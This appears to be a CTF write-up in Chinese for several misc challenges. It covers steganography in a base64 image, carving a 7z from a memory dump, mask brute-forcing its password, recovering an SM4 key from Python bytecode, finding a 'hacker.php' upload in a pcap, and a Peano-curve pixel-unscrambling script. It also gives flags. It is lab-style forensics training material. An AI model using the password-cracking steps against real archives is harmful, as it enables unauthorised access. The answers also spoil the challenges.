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

base64解码后即可得到下面这张图片

image-20241104164449083

赛后和别的师傅交流的过程中发现有的师傅说这里直接 foremost 也可以得到这张图片

虽然是不完整的,但是 zsteg 一下也可以得到下面的 Hint

感觉这里也算是非预期吧,出题人如果隐写的内容不放在开头,可能就要把图片完整提取出来才行了

之前睿抗也遇到过这样的情况,也算是给自己提了个醒,以后出题别把隐写的内容放在图片头部(坏笑)

zsteg一下,发现有一个Hint:Y3p_Ke9_1s_????? ``

image-20241104164521295

然后我们在回头查看那个内存镜像,尝试一下常用的文件头,看看有没有别的文件

发现存在 7z 的文件头 37 7A BC AF 27 1C ,内存镜像的末尾藏了一个7z压缩包

image-20241104164540660

因此我们手动提取出来,然后结合刚才的提示 Y3p_Ke9_1s_?????,猜测是压缩包掩码爆破

因此我们使用 ARCHPR 爆破上面提取得到的 7z 压缩包

image-20241104164557729

爆破后得到压缩包解压密码:Y3p_Ke9_1s_29343

image-20241104164614490

解压压缩包后得到 flag.txt ,内容如下:

31         226 PUSH_NULL
228 LOAD_NAME 8 (key_encode)
230 LOAD_NAME 7 (key)
232 PRECALL 1
236 CALL 1
246 STORE_NAME 7 (key)

32 248 PUSH_NULL
250 LOAD_NAME 10 (len)
252 LOAD_NAME 7 (key)
254 PRECALL 1
258 CALL 1
268 LOAD_CONST 7 (16)
270 COMPARE_OP 2 (==)
276 POP_JUMP_FORWARD_IF_FALSE 43 (to 364)

33 278 PUSH_NULL
280 LOAD_NAME 9 (sm4_encode)
282 LOAD_NAME 7 (key)
284 LOAD_NAME 5 (flag)
286 PRECALL 2
290 CALL 2
300 LOAD_METHOD 11 (hex)
322 PRECALL 0
326 CALL 0
336 STORE_NAME 12 (encrypted_data)

34 338 PUSH_NULL
340 LOAD_NAME 6 (print)
342 LOAD_NAME 12 (encrypted_data)
344 PRECALL 1
348 CALL 1
358 POP_TOP
360 LOAD_CONST 2 (None)
362 RETURN_VALUE

32 >> 364 LOAD_CONST 2 (None)
366 RETURN_VALUE

Disassembly of <code object key_encode at 0x14e048a00, file "make.py", line 10>:
10 0 RESUME 0

11 2 LOAD_GLOBAL 1 (NULL + list)
14 LOAD_FAST 0 (key)
16 PRECALL 1
20 CALL 1
30 STORE_FAST 1 (magic_key)

12 32 LOAD_GLOBAL 3 (NULL + range)
44 LOAD_CONST 1 (1)
46 LOAD_GLOBAL 5 (NULL + len)
58 LOAD_FAST 1 (magic_key)
60 PRECALL 1
64 CALL 1
74 PRECALL 2
78 CALL 2
88 GET_ITER
>> 90 FOR_ITER 105 (to 302)
92 STORE_FAST 2 (i)

13 94 LOAD_GLOBAL 7 (NULL + str)
106 LOAD_GLOBAL 9 (NULL + hex)
118 LOAD_GLOBAL 11 (NULL + int)
130 LOAD_CONST 2 ('0x')
132 LOAD_FAST 1 (magic_key)
134 LOAD_FAST 2 (i)
136 BINARY_SUBSCR
146 BINARY_OP 0 (+)
150 LOAD_CONST 3 (16)
152 PRECALL 2
156 CALL 2
166 LOAD_GLOBAL 11 (NULL + int)
178 LOAD_CONST 2 ('0x')
180 LOAD_FAST 1 (magic_key)
182 LOAD_FAST 2 (i)
184 LOAD_CONST 1 (1)
186 BINARY_OP 10 (-)
190 BINARY_SUBSCR
200 BINARY_OP 0 (+)
204 LOAD_CONST 3 (16)
206 PRECALL 2
210 CALL 2
220 BINARY_OP 12 (^)
224 PRECALL 1
228 CALL 1
238 PRECALL 1
242 CALL 1
252 LOAD_METHOD 6 (replace)
274 LOAD_CONST 2 ('0x')
276 LOAD_CONST 4 ('')
278 PRECALL 2
282 CALL 2
292 LOAD_FAST 1 (magic_key)
294 LOAD_FAST 2 (i)
296 STORE_SUBSCR
300 JUMP_BACKWARD 106 (to 90)

15 >> 302 LOAD_GLOBAL 3 (NULL + range)
314 LOAD_CONST 5 (0)
316 LOAD_GLOBAL 5 (NULL + len)
328 LOAD_FAST 0 (key)
330 PRECALL 1
334 CALL 1
344 LOAD_CONST 6 (2)
346 PRECALL 3
350 CALL 3
360 GET_ITER
>> 362 FOR_ITER 105 (to 574)
364 STORE_FAST 2 (i)

16 366 LOAD_GLOBAL 7 (NULL + str)
378 LOAD_GLOBAL 9 (NULL + hex)
390 LOAD_GLOBAL 11 (NULL + int)
402 LOAD_CONST 2 ('0x')
404 LOAD_FAST 1 (magic_key)
406 LOAD_FAST 2 (i)
408 BINARY_SUBSCR
418 BINARY_OP 0 (+)
422 LOAD_CONST 3 (16)
424 PRECALL 2
428 CALL 2
438 LOAD_GLOBAL 11 (NULL + int)
450 LOAD_CONST 2 ('0x')
452 LOAD_FAST 1 (magic_key)
454 LOAD_FAST 2 (i)
456 LOAD_CONST 1 (1)
458 BINARY_OP 0 (+)
462 BINARY_SUBSCR
472 BINARY_OP 0 (+)
476 LOAD_CONST 3 (16)
478 PRECALL 2
482 CALL 2
492 BINARY_OP 12 (^)
496 PRECALL 1
500 CALL 1
510 PRECALL 1
514 CALL 1
524 LOAD_METHOD 6 (replace)
546 LOAD_CONST 2 ('0x')
548 LOAD_CONST 4 ('')
550 PRECALL 2
554 CALL 2
564 LOAD_FAST 1 (magic_key)
566 LOAD_FAST 2 (i)
568 STORE_SUBSCR
572 JUMP_BACKWARD 106 (to 362)

18 >> 574 LOAD_CONST 4 ('')
576 LOAD_METHOD 7 (join)
598 LOAD_FAST 1 (magic_key)
600 PRECALL 1
604 CALL 1
614 STORE_FAST 1 (magic_key)

19 616 LOAD_GLOBAL 17 (NULL + print)
628 LOAD_FAST 1 (magic_key)
630 PRECALL 1
634 CALL 1
644 POP_TOP

20 646 LOAD_GLOBAL 7 (NULL + str)
658 LOAD_GLOBAL 9 (NULL + hex)
670 LOAD_GLOBAL 11 (NULL + int)
682 LOAD_CONST 2 ('0x')
684 LOAD_FAST 1 (magic_key)
686 BINARY_OP 0 (+)
690 LOAD_CONST 3 (16)
692 PRECALL 2
696 CALL 2
706 LOAD_GLOBAL 11 (NULL + int)
718 LOAD_CONST 2 ('0x')
720 LOAD_FAST 0 (key)
722 BINARY_OP 0 (+)
726 LOAD_CONST 3 (16)
728 PRECALL 2
732 CALL 2
742 BINARY_OP 12 (^)
746 PRECALL 1
750 CALL 1
760 PRECALL 1
764 CALL 1
774 LOAD_METHOD 6 (replace)
796 LOAD_CONST 2 ('0x')
798 LOAD_CONST 4 ('')
800 PRECALL 2
804 CALL 2
814 STORE_FAST 3 (wdb_key)

21 816 LOAD_GLOBAL 17 (NULL + print)
828 LOAD_FAST 3 (wdb_key)
830 PRECALL 1
834 CALL 1
844 POP_TOP

22 846 LOAD_FAST 3 (wdb_key)
848 RETURN_VALUE

magic_key:7a107ecf29325423
encrypted_data:f2c85bd042247896b43345e589e3ad025fba1770e4ac0d274c1f7c2a670830379195aa5547d78bcee7ae649bc3b914da

得到SM4的密钥为:ada1e9136bb16171

最后CyberChef解一个SM4即可得到flag:wdflag{815ad4647b0b181b994eb4b731efa8a0}

image-20241104164658557

MISC03

打开pcap文件

上传一般是post uploads,查找到几个,有个 hacker.php

image-20241104162237268

Image

第一个IP就是

Image

wdflag{39.168.5.60}

MISC04

像素偏移

是2024IrisCTF的参考https://almostgph.github.io/2024/01/08/IrisCTF2024/脚本。

之前在某个群里好像有看到过类似的,感觉是希尔伯特-皮亚诺曲线

根据参考链接中的脚本复原一下图片

from PIL import Image            
from tqdm import tqdm
def peano(n):
if n == 0:
return [[0,0]]
else:
in_lst = peano(n - 1)
lst = in_lst.copy()
px,py = lst[-1]
lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + 1 + i[0], py - i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px - i[0], py - 1 - i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + i[0], py - 1 - i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + 1 + i[0], py + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
return lst
order = peano(6)
img = Image.open("./1.png")
width, height = img.size
block_width = width # // 3
block_height = height # // 3
new_image = Image.new("RGB", (width, height))
for i, (x, y) in tqdm(enumerate(order)):
# 根据列表顺序获取新的坐标
new_x, new_y = i % width, i // width
# 获取原图像素
pixel = img.getpixel((x, height - 1 - y))
# 在新图像中放置像素
new_image.putpixel((new_x, new_y), pixel)
new_image.save("rearranged_image.jpg")

image-20241104164800022

image-20241104164809903

复原后可以得到一个二维码,彩色的可能不好识别,分离一下通道,扫码即可得到flag:

wdflag{4940e8dc-5542-4eee-9243-202ae675d77f}

